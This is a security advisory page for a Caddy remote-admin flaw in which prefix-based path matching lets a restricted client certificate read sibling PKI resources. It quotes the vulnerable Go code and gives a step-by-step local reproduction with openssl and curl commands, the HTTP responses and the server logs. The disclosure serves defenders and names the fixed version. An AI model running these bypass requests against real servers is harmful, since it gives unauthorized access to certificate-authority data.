GHSA-gx7w-56w6-g48x Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching
Attackers with limited admin certificates can bypass path restrictions to access unauthorized PKI resources due to flawed prefix matching.
- Exploited in the wild
- Not known
- Login needed
- Any signed-in user
- Attackable
- Over the internet
- Victim action needed
- Not needed
- Fix
- Available
What is GHSA-gx7w-56w6-g48x?
GHSA-gx7w-56w6-g48x is an authentication bypass vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.
Official description
AI Disclosure
I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.
I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with curl -v.
Summary
Caddy's remote admin access control performs path authorization using prefix matching:
admin.go:strings.HasPrefix(r.URL.Path, allowedPath)
This allows a client certificate authorized only for /pki/ca/prod to access sibling PKI resources whose paths merely share the same prefix, such as /pki/ca/prod-backup.
This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.
Affected Component
Remote admin access control for PKI admin endpoints.
Relevant code:
Root Cause
In RemoteAdmin.enforceAccessControls(), allowed paths are checked like this:
for _, allowedPath := range accessPerm.Paths {
if strings.HasPrefix(r.URL.Path, allowedPath) {
pathFound = true
break
}
}
This does not enforce a path-segment boundary.
So if the allowed path is:
/pki/ca/prod
then all of the following are treated as authorized:
- /pki/ca/prod-backup
- /pki/ca/prod1
- /pki/ca/prodanything
For PKI admin endpoints, the CA ID is taken directly from the request path:
- modules/caddypki/adminapi.go:164
So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.
Security Impact
A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.
This breaks least-privilege remote admin policies and results in authenticated authorization bypass.
Minimal Configuration
File: repro.json
{
"admin": {
"listen": "127.0.0.1:2019",
"identity": {
"identifiers": ["localhost"],
"issuers": [
{ "module": "internal" }
]
},
"remote": {
"listen": "127.0.0.1:2021",
"access_control": [
{
"public_keys": ["<CLIENT_CERT_BASE64_DER>"],
"permissions": [
{
"methods": ["GET"],
"paths": ["/pki/ca/prod"]
}
]
}
]
}
},
"apps": {
"pki": {
"certificate_authorities": {
"prod": {
"name": "prod"
},
"prod-backup": {
"name": "prod-backup"
}
}
}
}
}
Reproduction Steps From Scratch
1. Generate a client certificate
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
-subj '/CN=remote-admin-client' \
-keyout client.key \
-out client.crt
2. Convert the client certificate to base64 DER
CLIENT_CERT_B64="$(openssl x509 -in client.crt -outform der | base64 | tr -d '\n')"
3. Put that value into repro.json
Replace:
<CLIENT_CERT_BASE64_DER>
with the value of CLIENT_CERT_B64.
4. Run Caddy
go run ./cmd/caddy run –config ./repro.json
5. Confirm access to the intended allowed path
curl -vk \
--resolve localhost:2021:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2021/pki/ca/prod
Expected result:
- HTTP/1.1 200 OK
6. Request a different CA whose path shares the same prefix
curl -vk \
--resolve localhost:2021:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2021/pki/ca/prod-backup
Expected secure behavior:
- HTTP/1.1 403 Forbidden
Actual behavior:
- HTTP/1.1 200 OK
Precise HTTP Requests and Output
Allowed path
curl -vk \
--resolve localhost:2021:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2021/pki/ca/prod
Response excerpt:
> GET /pki/ca/prod HTTP/1.1
> Host: localhost:2021
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json
Unauthorized sibling path that is incorrectly allowed
curl -vk \
--resolve localhost:2021:127.0.0.1 \
--cert ./client.crt \
--key ./client.key \
https://localhost:2021/pki/ca/prod-backup
Response excerpt:
> GET /pki/ca/prod-backup HTTP/1.1
> Host: localhost:2021
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: application/json
The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.
Full Log Output
sever :
root@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json
2026/03/19 13:58:13.747 INFO maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined
2026/03/19 13:58:13.747 INFO GOMEMLIMIT is updated {"GOMEMLIMIT": 26273105510, "previous": 9223372036854775807}
2026/03/19 13:58:13.747 INFO using config from file {"file": "/caddy/repro.json"}
2026/03/19 13:58:13.757 INFO admin admin endpoint started {"address": "127.0.0.1:2019", "enforce_origin": false, "origins": ["//localhost:2019", "//[::1]:2019", "//127.0.0.1:2019"]}
2026/03/19 13:58:13.757 WARN pki.ca.prod installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod/root.crt"}
2026/03/19 13:58:13.757 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again
2026/03/19 13:58:13.757 INFO define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:14.406 INFO certificate installed properly in linux trusts
2026/03/19 13:58:14.406 WARN pki.ca.prod-backup installing root certificate (you might be prompted for password) {"path": "storage:pki/authorities/prod-backup/root.crt"}
2026/03/19 13:58:14.407 INFO warning: "certutil" is not available, install "certutil" with "apt install libnss3-tools" or "yum install nss-tools" and try again
2026/03/19 13:58:14.407 INFO define JAVA_HOME environment variable to use the Java trust
2026/03/19 13:58:15.038 INFO certificate installed properly in linux trusts
2026/03/19 13:58:15.045 INFO admin.identity.cache.maintenance started background certificate maintenance {"cache": "0xc0006a4480"}
2026/03/19 13:58:15.046 INFO admin.remote secure admin remote control endpoint started {"address": "127.0.0.1:2021"}
2026/03/19 13:58:15.046 INFO admin.identity.obtain acquiring lock {"identifier": "localhost"}
2026/03/19 13:58:15.046 INFO autosaved config (load with --resume flag) {"file": "/root/.config/caddy/autosave.json"}
2026/03/19 13:58:15.046 INFO serving initial configuration
2026/03/19 13:58:15.047 INFO admin.identity.obtain lock acquired {"identifier": "localhost"}
2026/03/19 13:58:15.047 INFO admin.identity.obtain obtaining certificate {"identifier": "localhost"}
2026/03/19 13:58:15.049 INFO admin.identity.obtain certificate obtained successfully {"identifier": "localhost", "issuer": "local"}
2026/03/19 13:58:15.049 INFO admin.identity.obtain releasing lock {"identifier": "localhost"}
2026/03/19 13:58:15.050 WARN admin.identity stapling OCSP {"identifiers": ["localhost"]}
2026/03/19 13:59:36.896 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod", "remote_ip": "127.0.0.1", "remote_port": "40728", "headers": {"Accept":["*/*"],"User-Agent":["curl/8.5.0"]}, "secure": true, "verified_chains": 1}
2026/03/19 14:00:24.102 INFO admin.api received request {"method": "GET", "host": "localhost:2021", "uri": "/pki/ca/prod-backup", "remote_ip": "127.0.0.1", "remote_port": "60490", "headers"
Which versions are affected by GHSA-gx7w-56w6-g48x?
3 open source packages ship an affected version, including github.com/caddyserver/caddy/v2.
| Package | Affected | Fixed in |
|---|---|---|
github.com/caddyserver/caddy/v2 Go | All versions | 2.11.3 |
github.com/caddyserver/caddy/v2 Go | All versions | 2.11.3 |
github.com/caddyserver/caddy/v2 Go | All versions | 2.11.3 |
How do I fix GHSA-gx7w-56w6-g48x?
Upgrade github.com/caddyserver/caddy/v2 to 2.11.3 or later.
Upgrade, and rotate credentials and sessions that may have been exposed. More about Authentication bypass.
Is GHSA-gx7w-56w6-g48x being exploited?
There is no known exploitation of GHSA-gx7w-56w6-g48x in the wild and no public exploit code.
Sources
Also known as GO-2026-5408.